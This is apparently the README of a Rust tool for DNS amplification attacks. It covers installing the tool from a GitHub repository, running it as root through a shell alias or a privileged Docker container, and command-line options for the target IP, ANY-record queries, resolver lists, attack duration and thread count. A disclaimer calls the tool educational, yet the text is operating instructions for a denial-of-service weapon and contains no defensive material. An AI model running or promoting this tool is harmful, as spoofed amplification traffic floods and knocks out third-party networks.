A Rust tool for educational purposes to demonstrate DNS amplification attacks. It sends spoofed DNS queries to a target server, which then responds with a large volume of data to the specified address, amplifying the traffic.
⚠️ DISCLAIMER: DNS amplification attacks are illegal and unethical. Use this tool responsibly and only for educational purposes. The author disclaims all responsibility for misuse.
- Rust (tested with version 1.81.0)
- Additional libraries:
pkg-config,libssl-dev
Install globally via Cargo:
cargo install --git https://github.com/cavoq/r_dns-amplifier.git --branch masterYou may also need some additional libs:
sudo apt-get install pkg-config libssl-devBecause this script uses raw sockets it requires root privileges. Set an alias to avoid specifying the full path:
echo "alias sudo-rdns='sudo env \"PATH=$PATH\" r_dns-amplifier'" >> ~/.bashrc && source ~/.bashrc💡 Note: Instead of
r_dns-amplifieryou callsudo-rdns
Example usage with global install:
sudo-rdns 192.168.2.1 --port 53 -r ANY -d google.comYou can also run this script by building it directly after cloning:
cargo build --release| Option | Description | Default |
|---|---|---|
<TARGET> |
IPv4 address of the target | required |
-p, --port |
Port of the target | 53 |
-r, --record-type |
DNS record type [A, MX, NS, ANY] | ANY |
-s, --server-list |
List of DNS servers to use | - |
-t, --time |
Time of the attack in seconds | - |
-d, --domain |
Domain to resolve | google.com |
-m, --threads |
Thread count | 10 |
-n, --dns-resolver |
DNS resolver to use | - |
Run in a Docker container (the --privileged flag is required for raw sockets):
docker build -t r_dns-amplifier .
docker run --rm --privileged r_dns-amplifier 192.168.2.1 --port 53 -r ANY -d google.com